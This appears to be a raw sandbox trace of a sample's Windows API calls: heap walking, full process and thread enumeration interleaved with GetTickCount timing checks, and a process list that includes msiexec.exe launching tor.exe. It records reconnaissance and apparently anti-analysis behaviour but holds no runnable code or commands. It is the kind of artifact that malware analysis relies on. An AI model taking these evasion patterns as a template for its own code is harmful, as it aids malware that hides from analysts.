[0117.861] Heap32Next (lphe=0x36f188) returned 1 [0117.975] Heap32Next (lphe=0x36f188) returned 1 [0117.979] Heap32Next (lphe=0x36f188) returned 1 [0117.984] Heap32Next (lphe=0x36f188) returned 1 [0117.988] Heap32Next (lphe=0x36f188) returned 1 [0117.992] Heap32Next (lphe=0x36f188) returned 1 [0117.997] Heap32Next (lphe=0x36f188) returned 1 [0118.001] Heap32Next (lphe=0x36f188) returned 1 [0118.005] Heap32Next (lphe=0x36f188) returned 1 [0118.010] Heap32Next (lphe=0x36f188) returned 1 [0118.014] Heap32Next (lphe=0x36f188) returned 1 [0118.019] Heap32Next (lphe=0x36f188) returned 1 [0118.023] Heap32Next (lphe=0x36f188) returned 1 [0118.151] Heap32Next (lphe=0x36f188) returned 1 [0118.155] Heap32Next (lphe=0x36f188) returned 1 [0118.160] Heap32Next (lphe=0x36f188) returned 1 [0118.164] Heap32Next (lphe=0x36f188) returned 1 [0118.169] Heap32Next (lphe=0x36f188) returned 1 [0118.173] Heap32Next (lphe=0x36f188) returned 1 [0118.177] Heap32Next (lphe=0x36f188) returned 1 [0118.181] Heap32Next (lphe=0x36f188) returned 1 [0118.185] Heap32Next (lphe=0x36f188) returned 1 [0118.189] Heap32Next (lphe=0x36f188) returned 1 [0118.252] Heap32Next (lphe=0x36f188) returned 1 [0118.256] Heap32Next (lphe=0x36f188) returned 1 [0118.260] Heap32Next (lphe=0x36f188) returned 1 [0118.264] Heap32Next (lphe=0x36f188) returned 1 [0118.268] Heap32Next (lphe=0x36f188) returned 1 [0118.272] Heap32Next (lphe=0x36f188) returned 1 [0118.276] Heap32Next (lphe=0x36f188) returned 1 [0118.280] Heap32Next (lphe=0x36f188) returned 1 [0118.285] Heap32Next (lphe=0x36f188) returned 1 [0118.294] Heap32Next (lphe=0x36f188) returned 1 [0118.299] Heap32Next (lphe=0x36f188) returned 1 [0118.303] Heap32Next (lphe=0x36f188) returned 1 [0118.308] Heap32Next (lphe=0x36f188) returned 1 [0118.312] Heap32Next (lphe=0x36f188) returned 1 [0118.316] Heap32Next (lphe=0x36f188) returned 1 [0118.320] Heap32Next (lphe=0x36f188) returned 1 [0118.325] Heap32Next (lphe=0x36f188) returned 1 [0118.329] Heap32Next (lphe=0x36f188) returned 1 [0118.333] Heap32Next (lphe=0x36f188) returned 1 [0118.337] Heap32Next (lphe=0x36f188) returned 1 [0118.341] Heap32Next (lphe=0x36f188) returned 1 [0118.351] Heap32Next (lphe=0x36f188) returned 1 [0118.355] Heap32Next (lphe=0x36f188) returned 1 [0118.359] Heap32Next (lphe=0x36f188) returned 1 [0118.364] Heap32Next (lphe=0x36f188) returned 1 [0118.368] Heap32Next (lphe=0x36f188) returned 1 [0118.373] Heap32Next (lphe=0x36f188) returned 1 [0118.377] Heap32Next (lphe=0x36f188) returned 1 [0118.428] Heap32Next (lphe=0x36f188) returned 1 [0118.432] Heap32Next (lphe=0x36f188) returned 1 [0118.437] Heap32Next (lphe=0x36f188) returned 1 [0118.441] Heap32Next (lphe=0x36f188) returned 1 [0118.446] Heap32Next (lphe=0x36f188) returned 1 [0118.450] Heap32Next (lphe=0x36f188) returned 1 [0118.454] Heap32Next (lphe=0x36f188) returned 1 [0118.459] Heap32Next (lphe=0x36f188) returned 1 [0118.463] Heap32Next (lphe=0x36f188) returned 1 [0118.468] Heap32Next (lphe=0x36f188) returned 1 [0118.472] Heap32ListNext (hSnapshot=0x1d4, lphl=0x36f15c) returned 1 [0118.472] GetTickCount () returned 0x24816 [0118.472] GetTickCount () returned 0x24816 [0118.472] Process32First (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.473] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.474] GetTickCount () returned 0x24816 [0118.474] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.487] GetTickCount () returned 0x24826 [0118.487] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.488] GetTickCount () returned 0x24826 [0118.488] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.488] GetTickCount () returned 0x24826 [0118.489] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.489] GetTickCount () returned 0x24826 [0118.489] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.490] GetTickCount () returned 0x24836 [0118.490] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.491] GetTickCount () returned 0x24836 [0118.491] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.491] GetTickCount () returned 0x24836 [0118.491] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.492] GetTickCount () returned 0x24836 [0118.492] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.493] GetTickCount () returned 0x24836 [0118.493] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.493] GetTickCount () returned 0x24836 [0118.493] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.494] GetTickCount () returned 0x24836 [0118.494] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.495] GetTickCount () returned 0x24836 [0118.495] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.496] GetTickCount () returned 0x24836 [0118.496] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.496] GetTickCount () returned 0x24836 [0118.496] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.497] GetTickCount () returned 0x24836 [0118.497] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.498] GetTickCount () returned 0x24836 [0118.498] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.498] GetTickCount () returned 0x24836 [0118.498] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.499] GetTickCount () returned 0x24836 [0118.499] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.500] GetTickCount () returned 0x24836 [0118.500] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.500] GetTickCount () returned 0x24836 [0118.500] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.501] GetTickCount () returned 0x24836 [0118.501] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.502] GetTickCount () returned 0x24836 [0118.502] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.503] GetTickCount () returned 0x24836 [0118.503] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.503] GetTickCount () returned 0x24836 [0118.503] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.504] GetTickCount () returned 0x24836 [0118.504] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0118.505] GetTickCount () returned 0x24836 [0118.505] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0118.506] GetTickCount () returned 0x24845 [0118.506] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0118.506] GetTickCount () returned 0x24845 [0118.506] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0118.507] GetTickCount () returned 0x24845 [0118.507] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0118.508] GetTickCount () returned 0x24845 [0118.508] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0118.508] GetTickCount () returned 0x24845 [0118.508] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0118.509] GetTickCount () returned 0x24845 [0118.509] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0118.510] GetTickCount () returned 0x24845 [0118.510] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0118.510] GetTickCount () returned 0x24845 [0118.510] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0118.511] GetTickCount () returned 0x24845 [0118.511] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0118.512] GetTickCount () returned 0x24845 [0118.512] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0118.512] GetTickCount () returned 0x24845 [0118.512] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0118.513] GetTickCount () returned 0x24845 [0118.513] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0118.514] GetTickCount () returned 0x24845 [0118.514] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0118.514] GetTickCount () returned 0x24845 [0118.514] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0118.515] GetTickCount () returned 0x24845 [0118.515] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0118.516] GetTickCount () returned 0x24845 [0118.516] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0118.516] GetTickCount () returned 0x24845 [0118.516] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0118.517] GetTickCount () returned 0x24845 [0118.517] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0118.517] GetTickCount () returned 0x24845 [0118.518] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0118.518] GetTickCount () returned 0x24845 [0118.518] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.519] GetTickCount () returned 0x24845 [0118.519] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0118.519] GetTickCount () returned 0x24845 [0118.519] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.520] GetTickCount () returned 0x24845 [0118.520] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.523] GetTickCount () returned 0x24855 [0118.523] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.524] GetTickCount () returned 0x24855 [0118.524] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.524] GetTickCount () returned 0x24855 [0118.524] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.525] GetTickCount () returned 0x24855 [0118.525] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.525] GetTickCount () returned 0x24855 [0118.525] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.526] GetTickCount () returned 0x24855 [0118.526] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0118.527] GetTickCount () returned 0x24855 [0118.527] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0118.527] GetTickCount () returned 0x24855 [0118.527] Process32Next (in: hSnapshot=0x1d4, lppe=0x36f1b0 | out: lppe=0x36f1b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ff, th32DefaultHeapID=0x0, th32ModuleID=0x54000a5e, cntThreads=0x85dcf8, th32ParentProcessID=0x1, pcPriClassBase=8772856, dwFlags=0x9f2b88, szExeFile="\x0c")) returned 0 [0118.528] GetTickCount () returned 0x24855 [0118.528] Thread32First (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.531] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.531] GetTickCount () returned 0x24855 [0118.531] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.532] GetTickCount () returned 0x24855 [0118.532] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.532] GetTickCount () returned 0x24855 [0118.532] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.533] GetTickCount () returned 0x24855 [0118.533] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.534] GetTickCount () returned 0x24855 [0118.534] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.534] GetTickCount () returned 0x24855 [0118.534] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.535] GetTickCount () returned 0x24855 [0118.535] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.535] GetTickCount () returned 0x24855 [0118.535] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.541] GetTickCount () returned 0x24864 [0118.541] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.542] GetTickCount () returned 0x24864 [0118.542] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.543] GetTickCount () returned 0x24864 [0118.543] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.543] GetTickCount () returned 0x24864 [0118.543] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.544] GetTickCount () returned 0x24864 [0118.544] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.545] GetTickCount () returned 0x24864 [0118.545] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.545] GetTickCount () returned 0x24864 [0118.545] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.546] GetTickCount () returned 0x24864 [0118.546] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.546] GetTickCount () returned 0x24864 